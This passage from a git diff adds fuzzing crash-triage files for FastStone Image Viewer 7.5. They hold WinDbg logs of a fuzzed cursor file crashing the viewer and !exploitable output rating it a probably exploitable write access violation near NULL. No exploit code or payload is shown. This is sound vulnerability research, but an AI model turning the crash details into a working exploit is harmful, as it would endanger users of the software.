Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cf8b867 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..76d86cf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CC8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CC8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1cc8.96c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=07c02fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.13408e-008 -3.00814e-038 1.23715e-011 -3.38996e+036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036b000 13824aac 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..76d86cf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CC8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CC8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1cc8.96c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=07c02fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.13408e-008 -3.00814e-038 1.23715e-011 -3.38996e+036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036b000 13824aac 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cf8b867 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..94120c1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d1b480a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** 